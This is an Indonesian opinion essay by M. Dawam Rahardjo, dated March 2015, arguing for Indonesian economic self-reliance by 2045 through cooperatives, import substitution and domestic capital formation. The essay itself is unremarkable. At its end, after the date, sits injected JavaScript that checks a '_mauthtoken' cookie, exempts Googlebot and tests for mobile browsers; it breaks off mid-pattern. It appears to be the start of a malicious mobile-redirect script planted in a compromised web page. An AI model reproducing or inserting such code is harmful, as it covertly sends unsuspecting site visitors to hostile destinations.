Menuju Kemandirian Ekonomi Indonesia 2045

Oleh: Prof. M. Dawam Rahardjo

 

Pada awalnya, dalam periode 1945-1950, Indonesia telah  berusaha membangun ekonomi secara swadaya, berbasis warisan ekonomi kolonial Belanda yang berbasis kapitalisme perkebunan yang berorientasi pada pasar dunia. Langkah swadaya dimulai dengan menerbitkan uang kertas RI menggantikan uang Jepang dan NICA,  mendirikan bank-bank milik negara, yaitu Bank Negara Indonesia (BNI) sebagai bank pembangunan (development bank) yang mula-mula membiayai proyek penambangan emas di Cikotok dan  dengan menasionalisasi bank-bank swasta Belanda. Bank-bank negara itu dikembangkan dalam rangka mobilisasi  modal domestik dan menyalurkan dana pemerintah guna membiayai kegiatan usaha. Maka ketika memperoleh pengakuan kedaulatan dunia internasional pada tanggal 27 Desember 1949, telah beroperasi bank-bank negara, seperti Bank Rakyat Indonesia (BRI), Bank Dagang Negara (BDN) Bank Industri Negara  dan Bank Ekspor Impor (Bank Exim) yang membiayai berbagai sektor usaha. Kedua, Pemerintah masih mengizinkan perusahaan-perusahaan asing, karena diperlukan sebagai sumber perpajakan dan penghasil devisa melalui ekspor hasil tambang dan perkebunan besar. Selain itu Pemerintah juga mencetak uang kertas RI sebagai simbol kedaulatan dan sekaligus sumber permodalan yang disalurkannya melalui APBN dan perbankan, dengan akibat mendorong inflasi.  Pola kebijakan ini disebut oleh Bruce Glassburner sebagai kebijakan yang berorientasi revolusi (revolution oriented) yang ingin mengubah perekonomian kolonial menjadi nasional,   dalam arahan Presiden Sukarno.

Tapi pada dasawarsa ’50-an, mulai dipikirkan penggunaan dana atau modal luar negeri, baik untuk membiayai pembangunan pemerintah maupun investasi swasta. Aspirasi ini disebut sebagai “development oriented” yang bertujuan untuk meningkatkan pembangunan ekonomi lewat industrialisasi yang memerlukan modal besar. Dua orientasi itu berkoeksistensi dan bersaing melalui kebijakan kabinet secara bergantian. Orientasi pembangunan yang memanfaatkan modal atau dana asing itu dipengaruhi oleh teori Ragnar Nurkse dalam bukunya “Persoalan pembentukan modal di negara-negara sedang berkembang” (Problems of Capital Formation in Developing Countries). Tesisnya bertolak dari teori “lingkaran setan kemiskinan” (vicious cyrcle of poverty) yang mengatakan bahwa negara-negara sedang berkembang tidak mampu membangun karena kemiskinan yang bersumber dari produktivitas yang rendah. Sedangkan produktivitas yang rendah disebabkan oleh investasi yang rendah. Rendahnya  investasi domestik bersumber dari tabungan yang rendah yang disebabkan oleh tingkat pendapatan yang rendah. Karena itu maka negara-miskin perlu menengok kepada sumber luar negeri dari negara-negara maju yang memiliki dana murah dan melimpah. Orientasi ini menghasilkan konsep pembangunan dengan mengelola dana dan modal luar negeri guna meningkatkan produktivitas yang diukur dari besarnya Produk Domestik Bruto (PDB)  dengan modal asing tanpa mempersoalkan kepemilikan modal, karena “yang penting bisa menciptakan kesempatan kerja dan peningkatan pendapatan masyarakat”,  sebagaimana pernah dikatakan oleh Sri Mulyani Indarwati.

Rezim orientasi pembangunan itu sudah terjadi sejak Orde Baru. Investasi terutama dilakukan untuk menggali sumberdaya alam, khususnya pertambangan dan perkebunan besar guna memperoleh bahan mentah bernilai tambah rendah guna diolah menjadi bahan baku murah  bagi industrialisasi di negara-negara maju. Di Indonesia sendiri, industri manufaktur dikembangkan dengan memakai bahan baku dan penolong impor, yang didukung dengan teknologi tinggi yang juga harus diimpor.

Tapi modal asing itu akan masuk ke suatu negara atas dasar kepentingan tertentu. Pertama bisa menggali dan memperoleh bahan mentah untuk diolah menjadi bahan baku industri dan energi dengan mempergunakan teknologi tinggi. Kedua, berdasar prinsip efisiensi perusahaan,  pemodal asing bisa menggunakan tenaga kerja dengan upah murah. Dan ketiga, negara industri maju bisa menjadikan negara-negara sedang berkembang menjadi pasar bagi produk-produk industri, yaitu barang modal dan teknologi. Inilah sendi-sendi politik ekonomi yang disebut oleh Bung Karno sebagai sistem Neo-kolonialis atau Imperialisme yang harus  dilawan dengan nasionalisme ekonomi, sebagai suatu revolusi pada tahap Nasionalisme Demokrasi.

Dewasa ini, Nasionalisme ekonomi mengerucut pada konsep kemandirian ekonomi, sebagai kunci atau solusi strategis untuk mencapai tujuan Trisakti, yaitu “Berdaulat di bidang politik”, “Berdikari di bidang ekonomi” dan Berkepribadian di bidang kebudayaan. Tapi berdasarkan proses pembentukan mata-rantai ketergantungan ekonomi itu, tujuan kemandirian ekonomi perlu dilakukan dengan memutus mata rantai ketergantungan.

Menengok kembali pada teori Nurkse, maka kemandirian ekonomi harus dimulai dengan kemandirian modal yang dapat dilihat dari tingkat pembentukan modal pemerintah, modal perbankan, modal badan-badan usaha dan modal individual. Dengan modal yang masih terbatas itu, maka yang harus dikembangkan adalah usaha mikro, kecil, menengah maupun besar, tetapi untuk mengolah sumber alam domestik dengan mempergunakan teknologi tepat guna. Bahkan kini sudah dimungkinkan pengembangan industri skala besar, misalnya di bidang transportasi darat, laut maupun udara. BUMN Indonesia, bahkan telah mampu mengembangkan industri skala besar di banyak sektor yang dilakukan secara swadaya, Indonesia juga sudah mampu mengembangkan industri bahan baku dan teknologi tepat guna yang inovatif, sehingga tidak perlu mengimpor barang modal.

Namun strategi kemandirian yang mungkin tidak disukai oleh kekuatan-kekuatan ekonomi global itu memerlukan pengambilan keputusan yang berani, tetapi kalkulatif dan terukur yang diwacanakan secara diplomatis. Untuk itu diperlukan kedaulatan di bidang politik yang berani mengambil keputusan politik yang mendasar. Keputusan politik dan langkah kemandirian itu memerlukan pula dukungan kepribadian dalam kebudayaan, karena unsur-unsur nilai ke Indonesian itu terkandung dalam kedaulatan politik dan kemandirian ekonomi.

Dengan belajar dari pengalaman di masa lampau, maka diperlukan langkah-langkah pragmatis, strategis dan sistematis untuk mencapai kemandirian itu, tanpa menimbulkan provokasi terhadap kekuatan asing atau global yang bersifat retaliatif. Strategi itu dilakukan dengan “membangun dari pinggiran menuju ke tengah”, sebagaimana pernah dilontarkan oleh Presiden Jokowi baru-baru ini saja.

Pertama perlu dilakukan pengembangan kekuatan produktif ekonomi rakyat dengan memilih barang-barang dan jasa yang dibutuhkan masyarakat sendiri, dengan kata lain, yang telah memiliki pasar domestik. Indikatornya adalah bahwa barang dan jasa itu dewasa ini masih diimpor. Pada tahun 2012 umpamanya, impor bahan pangan saja mencapai Rp. 125 triliun. Dengan perkataan lain perlu dikembangan industri substitusi impor. Tapi yang disubstitusi itu terutama adalah kebutuhan pokok rakyat (basic needs). Kebutuhan pokok itu kini tidak terbatas pada pangan tetapi juga energi dan alat-alat transportasi dan komunikasi. Substitusi juga tidak berbentuk imitasi semata, tetapi juga inventif dan inovatif.

Kedua, barang substitusi impor itu spektrumnya cukup luas. karena itu harus bersifat selektif dan bertahap, dengan kriteria, telah memiliki basis teknologi dan ketrampilan sumberdaya manusia, membutuhkan modal yang terjangkau, dari segi pemasaran memiliki ceruk pasar yang paling besar, tetapi didukung oleh daya beli yang kuat sehingga merupakan permintaan yang efektif (effective demand).

Ketiga, produksi diprioritaskan pada sektor yang memiliki keunggulan komparatif, misalnya adanya sumber bahan mentah yang besar dan berkelanjutan dan karena itu harganya secara komparatif murah, sehingga mengandung potensi atau peluang penciptaan nilai tambah yang tinggi, namun harga jual di tingkat konsumen berdaya saing kuat atau  kompetitif di pasar global.

Keempat, sementara produksi barang dan jasa subtitusi impor dikembangkan dan diperluas jangkauannya secara sistematis dan bertahap, pelaku ekonomi rakyat, melalui koperasi,  harus bisa memanfaatkan perdagangan impor guna memperoleh keuntungan yang bisa menjadi sumber pembentukan modal domestik. Berdasarkan pengalaman kebijakan perdagangan Kabinet Natsir 1950-1951, ketika itu Menteri Perindustrian dan Perdagangan-nya adalah Prof. Sumitro Djojohadikusumo. Pada waktu itu Gabungan Koperasi Batik Indonesia (GKBI-1951) diberikan hak monopoli mengimpor bahan baku industri batik khususnya cambridge. Dengan modal dari keuntungan perdagangan itu maka GKBI dan berbagai koperasi primer di Jawa berhasil memproduksi cambridge dan bahkan produk-produk tekstil   sendiri yang semula diimpor.  Sejalan dengan kebijakan seperti itu, maka importasi kebutuhan barang dan jasa perlu diserahkan kepada koperasi konsumen, dengan bantuan pembiayaan dari perbankan yang diarahkan oleh Pemerintah. Sehingga koperasi konsumen itu bisa berkembang menjadi koperasi prosumsi (produsen konsumen) yaitu koperasi yang memproduksi barang-barang yang dikonsumsi oleh anggotanya. Dari perdagangan impor itu, maka koperasi bisa memperoleh keuntungan yang bisa menjadi sumber pembentukan modal yang dikuasai oleh rakyat melalui koperasi. Sumber dana itu selanjutnya bisa dipergunakan untuk mengembangkan produksi barang substitusi impor. Sebagai contoh, koperasi bisa diserahi untuk mengimpor bahan energi fosil yang kemudian diolah oleh koperasi dan dipasarkan oleh koperasi konsumen. Keuntungan dari perdagangan yang membentuk modal itu selanjutnya bisa  dipakai untuk membeayai produksi energi baru dan terbarukan, khususnya yang bahan bakunya adalah bio-massa yang terdapat melimpah di Indonesia yang notebene memiliki potensi bio-massa terbesar di dunia. Dengan strategi itu, maka di masa  mendatang, produksi dan pemasaran energi tidak lagi dilakukan oleh kapital besar dan asing, melainkan oleh industri rakyat secara mandiri. Dengan strategi itu dapat dicapai secara berantai, kemandirian modal, teknologi dan pasar.

Kelima, dalam rangka menegakkan kedaulatan pasar domestik, perlu dibentuk koperasi-koperasi “prosumen”  (produsen-konsumen) yang beranggotakan produsen ekonomi rakyat maupun konsumen. Tujuan koperasi adalah pemenuhan kebutuhan rakyat sehari-hari yang terus berkembang, sejalan dengan peningkatan pendapatan dan kualitas hidup masyarakat. Dengan modal awal yang bersumber dari tabungan pokok, tabungan wajib dan tabungan sukarela yang sebagian bisa berupa penyertaan modal sebagai tabungan saham, koperasi mula-mula bergerak dalam kegiatan perdagangan-konsumsi. Berdasarkan permintaan berupa kebutuhan pokok sehari-hari, koperasi melakukan pembelian bersama dan kemudian menjual kepada anggota dengan harga discounted. Diskon itu dicatat pada setiap pembelian dan ditabung dalam koperasi sebagai simpanan wajib yang hanya bisa diambil setiap tahun. Tabungan itu menjadi sumber permodalan koperasi untuk memulai melakukan produksi sendiri oleh anggota yang dibiayai dengan pinjaman dari koperasi. Koperasi prosumsi ini berfungsi untuk membangun pasar domestik dalam pemenuhan kebutuhan sehari-hari yang semula diimpor atau diproduksi oleh perusahaan asing dan konglomerat yang terbangun secara monopolistik dan monopsonistik, yang menjadi ceruk pasar bagi produsen anggota koperasi. Produksi akan dimulai dengan barang dan jasa yang telah dikuasai teknologinya, yaitu teknologi tepat guna yang didukung dengan sumberdaya manusia yang berpotensi produktif.

Dalam tulisannya tahun 1951 mengenai kredit dan ekonomi rakyat, Prof. Sumitro menguraikan fungsi dan peranan koperasi, yang ditampilkan kembali dalam kuliah-kuliahnya di Univertitas Terbuka tahun 1985, khususnya di masa Orde Baru, yaitu Koperasi Unit Desa (KUD) dalam perdagangan sebagai berikut:

Pertama fungsi jasa ekonomi koperasi adalah melayani kepentingan petani, produsen kecil dan anggota. Yang meliputi diantaranya : pelayanan kredit, pengumpulan hasil bumi, penyaluran barang kebutuhan petani, pengangkutan, penyimpanan dan perawatan di gudang, pembersihan kotoran, pemilihan jenis, pembakuan mutu, dan  pengetahuan harga pasar.

Kedua, memerankan koperasi sebagai alat perjuangan ekonomi untuk kepentingan para anggotanya agar mampu menghadapi persaingan   perdagangan dengan para perantara dan tengkulak

Fungsi jasa-jasa ekonomi tersebut di atas pada poin pertama, harus dilakukan oleh manajer profesional di bidang perkoperasian sebagai pengelola usaha di bawah pengawasan pengurus koperasi berada di bawah pengawasan para anggota KUD.

 

Stephen Covey berpandangan bahwa masa depan perekonomian global adalah sistem inter-dependensi di antara perekonomian-perekonomian bangsa yang independen. Namun negara-negara sedang berkembang, termasuk perekonomian Indonesia, tidak akan mampu berpartisipasi dalam perekonomian global yang inter-dependen, sebelum terbentuknya kemandirian ekonomi nasional. Dewasa inipun perekonomian Indonesia masih berada dalam tahap ketergantungan, yaitu modal, teknologi dan pasar. Karena itu maka sejak 2015 ini Pemerintah harus mengambil keputusan untuk mulai menciptakan kemandirian ekonomi nasional secara bertahap.

Seorang ekonom sosialis Mesir, Samir Amin, berdasarkan pengalaman negara-negara maju pada tahap awal perkembangannya, membagi kemandirian ekonomi menjadi empat tahap. Tahap pertama, adalah memproduksi barang-barang kebutuhan masal yang melibatkan partisipasi tenaga kerja atau penciptaan lapangan kerja yang bersifat massal pula. Tehap kedua, adalah memproduksi barang barang-barang modal, khususnya bahan baku industri dan alat-alat produksi. Ketiga, memproduksi barang-barang ekspor untuk pasar internasional yang menghasilkan devisa. Dan keempat adalah memproduksi kebutuhan sekunder masyarakat, sesuai dengan meningkatnya pendapatan  dan perbaikan kualitas hidup masyarakat domestik atau untuk pasaran ekspor.

Namun, keempat tahap industrialisasi itu dewasa ini telah terjadi di Indonesia, namun mengandung gejala-gejala kekurangan sebagai berikut. Pertama belum sepenuhnya mampu memproduksi barang-barang kebutuhan massal, sehingga masih harus mengimpor bahan-bahan kebutuhan pokok, khususnya pangan dan energi. Kedua, belum mampu sepenuhnya mengembangkan invensi atau penemuan teknologi menjadi inovasi atau penemuan pasar yang menghasilkan barang modal. Ketiga, potensi ekspor belum sepenuhnya bisa digarap. Dan keempat masih banyak mengimpor kebutuhan barang-barang mewah untuk segolongan kecil masyarakat  atau untuk pasar ekspor, walaupun belum didasarkan pada teknologi tinggi.

Tetapi sebaliknya, keempat jenis barang itu mengandung peluang untuk diproduksi sekaligus. Keunggulan komparatif Indonesia adalah sumberdaya alamnya, misalnya perkebunan kelapa dalam (coconut) dan kelapa sawit (palm). Dari hasil bahan mentah keduanya bisa diolah produk, misalnya minyak goreng guna memenuhi kebutuhan dalam negeri maupun ekspor. Selain itu keindahan pantai dan pula-pulau kecil bisa dikembangkan obyek pariwisata domestik maupun internasional. Kedua jenis produk itu tidak perlu dikembangkan secara bertahap melainkan bisa bersama-sama, sebagaimana telah terjadi.

Dalam rangka pembentukan modal domestik, misalnya dapat dikembangkan proyek-proyek pariwisata internasional yang menghasilkan devisa.   Potensinya diperkirakan sebesar US$ 300,- milyar per tahun yang bisa dipergunakan untuk membiayai produksi barang dan jasa yang masih diimpor. Tetapi importasi harus diarahkan untuk menjadi sumber pembentukan modal domestik.

Pencapaian kemandirian itu perlu ditetapkan mulai dari sekarang. Ancar-ancar tercapainya adalah tahun 2045, tepat ketika  Indonesia merayakan ulang tahunnya yang seabad. Stretagi pencapaian kemandirian ekonomi itu telah dilaksanakan oleh Cina dan telah bisa dicapai selama kurang dari setengah abad saja, sehingga kini Cina bukan saja berhasil memberantas kemiskinan, tetapi malahan mampu menjadi kekuatan ekonomi global terbesar  yang mampu aktif dalam proses globalisasi dewasa ini yang sifatnya lebih mandiri dari pada interdependensi.

Tetapi pencapaian kemandirian ekonomi itu dilaksanakan berdasarkan sistem ekonomi kolektif (collective economy), komando (commad economy) dan perencanaan memusat (centrally planned economy). Indonesia, berdasarkan sistem Ekonomi Pancasila tidak mengikuti model pembangunan Sosialis Cina itu, yang pada mulanya sangat eksploitatif itu, namun sistem ekonominya mengandung berbagai elemen model sistem sistem ekonomi di atas. Esensinya menurut Emil Salim adalah prinsip keseimbangan, yaitu keseimbangan antara sistem pasar bebas dan pengendalian Negara oleh model Negara Aktif (active state). Selain itu, keseimbangan itu dicapai antara sistem ekonomi kolektif dengan sistem ekonomi individual, antara ekonomi komando dan ekonomi bebas dan antara sistem perencanaan pusat  dan desantralisasi.

Indonesia juga punya Badan Perencanaan Pembangunan Nasional (BAPPENAS), tetapi badan ini tidak melakukan sistem perencanaan fisik yang ketat. Mengikuti prinsip keseimbangan itu, Indonesia sebaiknya mengikuti saran Kindleberger, yaitu memakai sistem perencanaan proyektif (projective planning) dan sistem perencanaan indikatif (indikatif planning) mengikuti Model Covey.Sistem Proyektif mengandalkan berbagai asumsi, tetapi asumsi itu selalu berubah, sehingga perlu dilakukan penyesuaian, misalnya setiap 5 tahun. Tetapi berdasarkan proyeksi-proyeksi itu, dapat ditetapkan indikasi indikasi pencapaian target dalam jangka waktu tertentu, hingga 2045. Karena itu maka pelaksanaan pembangunan jangka panjang harus diimbangi dengan kebijakan-kebijakan pragmatis jangka pendek.

Guna menuju kemandirian ekonomi, Covey menyaran kan tiga cara berfikir sebagai strategi. Pertama, melakukan proteksi atau preservasi terhadap bidang-bidang yang akan dikembangkan dari pinggiran yang menjadi domain ekonomi rakyat. Kedua  bertolak dari ujung atau meletakkan ujung menjadi pangkal (beginning from the end) sebagaimana disarankan juga oleh Hatta. Dalam manajemen, cara berfikir ini disebut sebagai “manajemen by objective” atau pengelolaan yang bertolak dari tujuan atau sasaran. Dalam hal ini, kita bertolak dari ujung atau aksiologi, yaitu kemandirian ekonomi yang harus bisa dicapai sebelum 2045.

Ketiga  adalah mendahulukan hal-hal yang seharusnya didahulukan atau berdasar skala prioritas ( put first thing first). Dalam rangka kemendirian ekonomi, maka langkah pertama yang disarankan adalah pembentukan pasar domestik dengan mengutamakan pemenuhan kebutuhan pokok sehari-hari yang dilakukan dengan mekanisme koperasi prosumen (produsen-konsumen) dengan kriteria, skala modal yang kecil, ketersediaan teknologi tepat guna dan kesanggupan  sumberdaya manusia.

Selain itu, dalam kondisi saling ketergantungan yang merupakan hambatan struktural, maka ekonomi rakyat harus berani  bertindak proaktif tanpa menunggu kondisi yang ideal atau menunggu kebijakaan resmi pemerintah. Sebagai contoh, dewasa ini perlu dilakukan langkah proaktif dan antisipatif dalam memproduksi energi alternatif berbasis bio-massa. Jika daya beli pasar domestik belum efektif, maka bisa dilakukan produksi untuk ekspor, misalnya briket arang atau charcoal. Contoh kedua adalah penanggulangan bahaya banjir tahunan dengan pembangunan prasarana yang mengerahkan banyak tenaga kerja. Contoh lainnya adalah pro-aktif dalam melakukan eco-investment, yaitu pemulihan dan pembangunan sumberdaya alam masa depan, dengan proyek-proyek reboisasi atau penanaman hutan rakyat. Kesemuanya itu akan berdampak penciptaan lapangan kerja dan peningkatan pendapatan masyarakat sehingg bisa membentuk pasar yang efektif.

Dalam mencapai kemandirian ekonomi dengan melepaskan diri dari tiga sindrom ketergantungan, yaitu modal, teknologi dan pasar, maka secara umum tiga kebijakan itu berkaitan satu sama lain, sehingga perlu dilaksanakan secara serentak. Tetapi dilihat dari prinsip prioritas atau ambeg parama arta, maka yang perlu didahulukan adalah pembentukan pasar domestik melalui penyediaan barang-barang kebutuhan sehari-hari yang kini sudah didominasi oleh modal asing atau konglomerat yang memperoleh hak monopoli dan monipsoni di masa Orde Baru. Penguasaan produksi dan pasar itu harus direbut kembali oleh ekonomi rakyat melalui koperasi.

Untuk itu perlu dilakukan kebijakan pemberdayaan pelaku ekonomi rakyat, yaitu dari aspek ketrampilan sumberdaya manusia melalui pelatihan dan pendampingan, fasilitasi permodalan dan pengaturan melalui peraturan pemerintah pusat dan terutama pemerintah daerah.

Sebagai contoh, dewasa ini, perkebunan kelapa sawit dan industri pengolahannya telah didominasi asing. Pemerintah beberapa waktu yang lalu telah menganjurkan petani untuk menanam dilahan mereka dengan kelapa sawit. Tetapi setelah masa panen yang memakan waktu 7 tahunan itu, produk kelapa sawit rakyat harganya ditekan ke bawah dan tidak ada pembelinya, sehingga karena kemarahannya, petani membakar produk-produknya sendiri. Gejala serupa telah terjadi pula dalam kasus perkebunan cengkeh rakyat dan penanaman jarak.

Dari pengalaman itu, maka kebun kelapa sawit rakyat harus memiliki unit pengolahan sendiri yang memerlukan investasi. Unit ini harus dijamin dengan skala minimum perkebunan penyangga pemasuk bahan mentah. Skala minimum perkebunan itu hanya bisa dilakukan melalui koperasi. Langkah ini hanya baru-baru ini saja dilakukan oleh kelompok tani yang berkantor di kota Batu Licin. Kabupaten Tanah Bumbu, Kalimantan Selatan. Tetapi kunci dari langkah itu adalah tampilnya seorang socio-preneur, yang mampu menghimpun petani melalui koperasi sehingga mampu membentuk perkebunan dalam skala yang dibutuhkan oleh satu unit industri pengolahan yaitu 2.000 ha yang dimiliki oleh sekitar 1.000 petani  anggota yang punya lahan rata-rata 2 ha. Per orang. Tetapi kesulitan berikutnya adalah menghimpun modal, minimal sebesar Rp. 130,- milyar. Koperasi dimulai dengan menghimpun modal sendiri dengan menerbitkan 18.000 lembar saham dengan a. Rp 2.500.000,- per saham sehingga terkumpul modal Rp. 45,- M. Sisanya senilai Rp 85 M dihimpun dengan 34.000 lembar saham, jadi total terjual sebanyak 52.000 lembar saham.  Tadinya, sebuah bank Negara telah menjanjikan akan memberi fasilitas kredit untuk 65% model kerja yang dibutuhkan. Tetapi setelah tiba waktunya dibutuhkan untuk membangun pabrik, maka bank meminta laporan keuangan koperasi selama 2 tahun, yang mustahil dilakukan oleh unit pabrik yang baru akan mulai peroperasi dan membutuhkan modal kerja awal itu. Kementerian Koperasi sebenarnya sudah membentuk Lembaga Pengelolaan Dana Bergulir (LPDB) yang menyediakan kredit dengan suku bunga murah, yaitu tertinggi 6% per tahun. Tetapi LPDB bekerja mengikuti prinsip prudensialitas perbankan yang juga menyaratkan perusahaan telah beroperasi selama 2 tahun sebagai indikator “charakter” dalam prinsip 5 C. Dalam pinjaman itu prinsip Collateral  berupa asset tetap tidak dipakai lagi. Lagi pula LPDB yanga memberikan fasilitas pinjaman dalam skala mikro sa. Karena itu maka perbankan dewasa ini tidak mampu memfasilitasi pinjaman investasi permanen maupun modal kerja permanen pada usaha-usaha pemula.

Sungguhpun begitu, dengan rasa kecewa dan bahkan marah yang disertai dengan sumpah serapah petani terhadap lembaga perbankan, sang socio-preneur, dalam kasus ini bersama Amin Nugroho, mantan karyawan perusahaan  perkebunan besar ternyata mampu menemukan jalan keluar, yaitu dengan menghimpun modal dari pelaku ekonomi rakyat dalam maupun diluar koperasi, misalnya tukang ojek dan pedagang kaki lima sehingga berhasil menghimpun modal sebasar Rp. 85,- milyard, yang memenuhi kebutuhan kecukupan modal penuh industri pengolahan kelapa sawit.

Sebenarnya model penghimpunan dana seperti itu bisa dilakukan oleh Bank Sjariah, yaitu dengan mempergunakan modus musyarakah moqaayadah, yaitu penyetoran dana dalam jumlah tertentu dengan menentukan penggunaannya, yaitu untuk membangun industri pengolahan kelapa sawit. Tetapi modus penghimpunan modal seperti itu belum pernah dipraktekkan oleh perbankan syariah. Memang, akad seperti itu telah terjadi, tetapi musyarakah seperti itu hanya dilakukan oleh bank sebagai pemilik modal dan peminjam sebagai operator (mudhorib), tetapi mekanismenya mirip dengan murabahah dengan prinsip mark-up.

Sebenarnya perbankan syariah bisa menjadi instrument kemandirian modal, misalnya dengan menghimpun dana “harta agama”, yaitu Zakat, Infak dan Sadaqah (ZIS) yang potensinya diperkirakan sebesar Rp 217 triliun per tahun. Tetapi realisasinya baru sekitar 1% saja. Selain itu, potensi dana lainnya berdasarkan Sunnah adalah wakaf, khususnya wakaf tunai. Tapi dewasa ini, wakaf masih berupa tanah yang luasnya sudah puluhan juta ha. Muhammadiyah sendiri telah memiliki 11 juta ha. Belum diketahui luas tanah wakaf yang dimiliki oleh NU dan organisasi-organisasi Islam lainnya.  Namun sebagian besar masih puso, karena tidak memiliki modal untuk pengembangannya sebagai lahan pertanian atau perkebunan. Jika lahan itu digarap dengan modal wakaf tunai, maka wakaf adalah sumber pembentukan modal domestik yang sangat potensial. Namun Pemerintah belum mengambil langkah apa-apa dan hanya mengatur dengan UU Zakat dan UU Wakaf.

Kunci kemandirian ekonomi adalah kemandirian permodalan. Dengan modal itu perekonomian Indonesia akan mampu menegakkan kemandirian teknologi dan kemandirian pasar. Tetapi  dalam skala prioritas atas dasar pragmatisme dan prinsip mendahulukan yang harus didahulukan, maka yang perlu dilakukan terlebih dahulu adalah kemandirian pasar. Kunci kemandirian pasar adalah  daya beli masyarakat. Daya beli ini tidak bisa hanya dilakukan melalui peningkatan pendapatan dan perluasan kesempatan kerja, tetapI juga stabilitas ekonomi yang indikatornya adalah pengendalian inflasi mendekati tingkat 0,0%. Upah buruh dan pendapatan petani yang merupakan sebagian besar masyarakat harus ditunjang dengan program-program kesejahteraan, terutama di bidang pendidikan, kesehatan dan transportasi.

Tetapi kunci kesejahteraan itu, khususnya dalam menurunkan tingkat inflasi adalah pemenuhan kebutuhan pokok masyarakat, yaitu pangan, energi dan transportasi. Dengan perkataan lain adalah makin menguatnya arus barang dan jasa dari sektor riil. Dengan perkataan lain, kemandirian ekonomi itu terletak pada ketersediaan kebutuhan pokok masyarakat.

Masalah kemandirian ekonomi sebenarnya serupa dengan masalah pengentasan masyarakat dari kemiskinan. Dalam teori Ragdar Nurkse tentang lingakaran setan kemiskinan, ia menyarankan pemecahan kemiskinan melalui penggunaan modal asing. Tetapi modus ini menciptakan ketergantungan modal yang menjadi biang keladi dari ketergantungan ekonomi. Karena itu, maka alternatifnya adalah melalui peningkatan produktivitas berdasarkan kemampuan modal domestik, teknologi tepat guna dn pembentukan pasar domestik. Tetapi pemecahan masalah kemiskinan dan kemandirian ekonomi dari aspek permodalan, tidak salah. Karena itu harus pula dilakukan strategi pembentukan modal domestik, antara lain dengan menggunakan instrumen ekonomi syariah.

Dengan modus itu, maka strategi kemandirian ekonomi harus dimulai dari pinggiran yaitu sektor-sektor yang belum terjemah modal asing. Tetapi sektor-sektor ekonomi rakyat yang sudah dikuasai oleh modal asing, misalnya industri kuliner yang merupakan ujung tombak dari industri pangan, industri kosmetik dan produk kesehatan, demikian pula perkebunan dan industri pengolahan kelapa sawit,  harus dilakukan strategi “perebutan kembali”.

Berdasarkan strategi “membangun dari pinggiran” yang baru-baru ini dilontarkan oleh Presiden Jokowi, maka industrialisasi kebutuhan pokok rakyat yang melibatkan tenaga kerja yang bersifat massal, industrialisasi barang modal berdasarkan teknologi tepat guna, dan industri ekspor  yang menghasilkan devisa sebagai komponen pembentukan modal perlu dilakukan secara singkronis dan sinergis yamg didukung dengan kebijakan-kebijakan yang protektif.

Dalam rangka membangun dari pinggiran, khususnya untuk produksi pangan alternatif dan bio-energi, diperlukan kebijakan reforma agraria dan tata-guna tanah. Pertama, mengaturan  agar petani diberi hak untuk mengolah lahan di sela-sela pepohonan, misalnya kebun kelapa dalam, kelapa sawit, karet dan hutan kayu, dengan tanaman tumpang sari dan peternakan yang memproduksi pangan alternatif, yaitu umbi-umbian, yang bisa menghasilkan tepung non-gandum dan gula cair. Kedua, menyelamatkan lahan kritis dan lahan bekas tambang dengan penggarapan oleh petani dengan tanaman-tanaman yang cocok. Dan ketiga adalah pengembangan tanah wakaf, terutama di daerah perdesaan. Sedangkan di daerah perkotaan, perlu dikembangkan industri properti dengan modal dari wakaf tunai. Dan keempat adalah konsolidasi lahan-lahan sempit sebagai basis sistem pertanian kolektif melalui koperasi yang disertai dengan industri pengolahan hasilnya untuk pasar domestik maupun ekspor.  Dan kelima, memperbolehkan pengolahan limbah, khususnya cangkang kelapa sawit, guna memproduksi energi alternatif.

Karena kesemua pembangunan dari pinggiran itu membutuhkan modal, maka diperlukan kebijakan fiskal, moneter dan perbankan yang singkronis dan sinergis. Berbagai jurusan kebijakan itu harus ditujukan guna mencapai kemandirian ekonomi bangsa, sebelum 2045. Ketika itu juga Indonesia sudah menjadi kekuatan ekonomi terbesar di Asia Tenggara dan menjadi salah dengan tingkat kesejahteraan yang tinggi dilihat dari indeks kesejahteraan.

 

Jakarta, 26 Maret, 2015if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v 